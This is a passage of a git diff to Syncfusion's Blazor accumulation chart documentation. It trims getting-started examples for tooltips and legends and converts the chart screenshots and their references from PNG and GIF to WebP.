-When space constraints prevent from displaying the information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html#Syncfusion_Blazor_Charts_AccumulationChartTooltipSettings_Enable) property in [AccumulationChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html) to `true`.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrJZMhyLfknWQpM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays Tooltip](images/getting-started/blazor-accumulation-chart-tooltip.png)" %}
-
-## Enable Legend
-
-Legend is used for the accumulation chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html#Syncfusion_Blazor_Charts_AccumulationChartLegendSettings_Visible) property to `true` in the [AccumulationChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"></AccumulationDataLabelSettings>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-    <AccumulationChartLegendSettings Visible="true"></AccumulationChartLegendSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVzjCVSVyMUwbGm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Legend](images/getting-started/blazor-accumulation-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AccumulationChart).
 
diff --git a/blazor/accumulation-chart/gradient.md b/blazor/accumulation-chart/gradient.md
index d60bf21116..bc7955a613 100644
--- a/blazor/accumulation-chart/gradient.md
+++ b/blazor/accumulation-chart/gradient.md
@@ -89,7 +89,7 @@ A linear gradient may be applied directly at the series level. The same gradient
 }
 
 ```
-![Linear Gradient in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-linear-gradient-series.png)
+![Linear Gradient in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-linear-gradient-series.webp)
 
 ### Apply a gradient per point using the point render event
 
@@ -162,7 +162,7 @@ A diagonal linear gradient can be applied per data point using the `OnPointRende
 }
 
 ```
-![Linear Gradient for each point in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-linear-gradient-points.png)
+![Linear Gradient for each point in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-linear-gradient-points.webp)
 
 ## Radial gradient
 
@@ -240,7 +240,7 @@ A radial gradient can be applied directly at the series level. The same gradient
 }
 
 ```
-![Radial Gradient in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-radial-gradient-series.png)
+![Radial Gradient in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-radial-gradient-series.webp)
 
 ### Apply a radial gradient per point using the point render event
 
@@ -313,7 +313,7 @@ The following example uses a distinct color palette and an off-center radial gra
 }
 
 ```
-![Radial Gradient for each point in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-radial-gradient-points.png)
+![Radial Gradient for each point in Blazor Accumulation Chart](images/gradient/blazor-accumulation-chart-radial-gradient-points.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/grouping.md b/blazor/accumulation-chart/grouping.md
index 28e6b1b52b..b9a1c1dcfe 100644
--- a/blazor/accumulation-chart/grouping.md
+++ b/blazor/accumulation-chart/grouping.md
@@ -55,7 +55,7 @@ The value set to the [GroupTo](https://help.syncfusion.com/cr/blazor/Syncfusion.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrqihiqTyhaAqqS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Accumulation Chart](images/grouping/blazor-accumulation-chart-grouping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrqihiqTyhaAqqS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Accumulation Chart](images/grouping/blazor-accumulation-chart-grouping.webp)" %}
 
 ## Pie Grouping
 
@@ -109,7 +109,7 @@ The points that have been grouped together will appear as a single slice with th
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLqihMUfoqzKvcp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Broken Slice](images/grouping/blazor-accumulation-chart-with-broken-slice.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLqihMUfoqzKvcp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Broken Slice](images/grouping/blazor-accumulation-chart-with-broken-slice.webp)" %}
 **Group Mode**
 
  When the [GroupMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartSeries.html#Syncfusion_Blazor_Charts_AccumulationChartSeries_GroupMode) property is set to [Point](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.GroupMode.html#Syncfusion_Blazor_Charts_GroupMode_Point), the points are displayed as separate slices according to the [GroupTo](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartSeries.html#Syncfusion_Blazor_Charts_AccumulationChartSeries_GroupTo) value. The remaining points will be grouped into a single slice and displayed.
@@ -160,7 +160,7 @@ The points that have been grouped together will appear as a single slice with th
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrqiViApefsiZXo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Group Mode](images/grouping/blazor-accumulation-chart-group-mode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrqiViApefsiZXo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Group Mode](images/grouping/blazor-accumulation-chart-group-mode.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/images/Blazor-server-app-creation.png b/blazor/accumulation-chart/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/accumulation-chart/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/Blazor-server-app-creation.webp b/blazor/accumulation-chart/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/accumulation-chart/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.png b/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.png
deleted file mode 100644
index 5962a94ecf..0000000000
Binary files a/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.webp b/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.webp
new file mode 100644
index 0000000000..04c9e7435e
Binary files /dev/null and b/blazor/accumulation-chart/images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.webp differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.png b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.png
deleted file mode 100644
index 5092cffc1a..0000000000
Binary files a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.webp b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.webp
new file mode 100644
index 0000000000..e1604eb3e3
Binary files /dev/null and b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-annotation.webp differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.png b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.png
deleted file mode 100644
index afaae05fa8..0000000000
Binary files a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.webp b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.webp
new file mode 100644
index 0000000000..c6e2786145
Binary files /dev/null and b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-coordinate-unit.webp differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.png b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.png
deleted file mode 100644
index 31e17d6402..0000000000
Binary files a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.webp b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.webp
new file mode 100644
index 0000000000..7f706f99bc
Binary files /dev/null and b/blazor/accumulation-chart/images/annotation/blazor-accumulation-chart-region.webp differ
diff --git a/blazor/accumulation-chart/images/blazor-app-interactive-mode.png b/blazor/accumulation-chart/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/accumulation-chart/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/blazor-app-interactive-mode.webp b/blazor/accumulation-chart/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/accumulation-chart/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/accumulation-chart/images/blazor-create-web-app.png b/blazor/accumulation-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/accumulation-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/blazor-create-web-app.webp b/blazor/accumulation-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/accumulation-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/accumulation-chart/images/blazor-wasm-app-template.png b/blazor/accumulation-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/accumulation-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/blazor-wasm-app-template.webp b/blazor/accumulation-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/accumulation-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.png b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.png
deleted file mode 100644
index 3d640ee88f..0000000000
Binary files a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.webp b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.webp
new file mode 100644
index 0000000000..fba03887a9
Binary files /dev/null and b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-customization.webp differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.gif b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.gif
deleted file mode 100644
index a0039d044d..0000000000
Binary files a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.gif and /dev/null differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.webp b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.webp
new file mode 100644
index 0000000000..26f0fc7ea9
Binary files /dev/null and b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label-hover-text.webp differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.png b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.png
deleted file mode 100644
index 42b7c5ac3e..0000000000
Binary files a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.webp b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.webp
new file mode 100644
index 0000000000..5f4417b6a9
Binary files /dev/null and b/blazor/accumulation-chart/images/center-label/blazor-accumulation-chart-with-center-label.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.png
deleted file mode 100644
index eaa323d281..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.webp
new file mode 100644
index 0000000000..9e5358a80d
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-connector-line.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.png
deleted file mode 100644
index 8c68869e40..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.webp
new file mode 100644
index 0000000000..d08fad7d8f
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-label-position.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.png
deleted file mode 100644
index 01e8334fce..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.webp
new file mode 100644
index 0000000000..d155818607
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-smart-labels.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.png
deleted file mode 100644
index 75a203b6c5..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.webp
new file mode 100644
index 0000000000..0fe113b843
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-text-mapping.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.png
deleted file mode 100644
index 40bcdbede0..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.webp
new file mode 100644
index 0000000000..fa83b84b4c
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-format.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.png
deleted file mode 100644
index 4e7019677d..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.webp
new file mode 100644
index 0000000000..9bd3a5aec4
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-template.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.png
deleted file mode 100644
index 971a0112ab..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.webp
new file mode 100644
index 0000000000..8e4d35a1f7
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.webp differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.png b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.png
deleted file mode 100644
index a16a91c5a6..0000000000
Binary files a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.webp b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.webp
new file mode 100644
index 0000000000..fc2e358e5d
Binary files /dev/null and b/blazor/accumulation-chart/images/data-label/blazor-accumulation-chart-with-data-label.webp differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.png b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.png
deleted file mode 100644
index 9add46dd8a..0000000000
Binary files a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.webp b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.webp
new file mode 100644
index 0000000000..02cf59db8a
Binary files /dev/null and b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-empty-point-customization.webp differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.gif b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.gif
deleted file mode 100644
index abb535ba18..0000000000
Binary files a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.gif and /dev/null differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.webp b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.webp
new file mode 100644
index 0000000000..9f15377161
Binary files /dev/null and b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-no-data-template.webp differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.png b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.png
deleted file mode 100644
index b5a9c6ff28..0000000000
Binary files a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.webp b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.webp
new file mode 100644
index 0000000000..7322ef9ebf
Binary files /dev/null and b/blazor/accumulation-chart/images/empty/blazor-accumulation-chart-with-empty-point.webp differ
diff --git a/blazor/accumulation-chart/images/empty/no-data.png b/blazor/accumulation-chart/images/empty/no-data.png
deleted file mode 100644
index a57f61c539..0000000000
Binary files a/blazor/accumulation-chart/images/empty/no-data.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/empty/no-data.webp b/blazor/accumulation-chart/images/empty/no-data.webp
new file mode 100644
index 0000000000..0e0886efdc
Binary files /dev/null and b/blazor/accumulation-chart/images/empty/no-data.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.png
deleted file mode 100644
index 6f9a87889a..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.webp
new file mode 100644
index 0000000000..5d8991d5b3
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-border-radius.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.png
deleted file mode 100644
index e1445bdf67..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.webp
new file mode 100644
index 0000000000..0d7cb9890a
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-explode.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.png
deleted file mode 100644
index c25c924af3..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.webp
new file mode 100644
index 0000000000..42fba37f20
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-neck-size.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.png
deleted file mode 100644
index dfeb5991bb..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.webp
new file mode 100644
index 0000000000..00789b6393
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-size-customization.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.png
deleted file mode 100644
index b711910e80..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.webp
new file mode 100644
index 0000000000..10331db73b
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-smart-data-label.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.png
deleted file mode 100644
index e129f7592e..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.webp
new file mode 100644
index 0000000000..fa65fd387d
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart-with-gap.webp differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.png b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.png
deleted file mode 100644
index 79b3a1407a..0000000000
Binary files a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.webp b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.webp
new file mode 100644
index 0000000000..c75e4657fa
Binary files /dev/null and b/blazor/accumulation-chart/images/funnel/blazor-funnel-chart.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.png b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.png
deleted file mode 100644
index f656f3cdf3..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.webp b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.webp
new file mode 100644
index 0000000000..5ba92b04b3
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-data-label.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.png b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.png
deleted file mode 100644
index 696e200696..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.webp b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.webp
new file mode 100644
index 0000000000..b40c07281d
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-legend.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.png b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.png
deleted file mode 100644
index 06b3ab7d23..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.webp b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.webp
new file mode 100644
index 0000000000..0badaf668d
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-tooltip.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.png b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.png
deleted file mode 100644
index 02e69bcbfb..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.webp b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.webp
new file mode 100644
index 0000000000..986fec12a9
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-accumulation-chart-with-title.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.png b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.png
deleted file mode 100644
index 989d5e2ffa..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.webp b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.webp
new file mode 100644
index 0000000000..65bb5bf744
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart-webapp.webp differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.png b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.png
deleted file mode 100644
index 1778bb9631..0000000000
Binary files a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.webp b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.webp
new file mode 100644
index 0000000000..19bb938b29
Binary files /dev/null and b/blazor/accumulation-chart/images/getting-started/blazor-pie-chart.webp differ
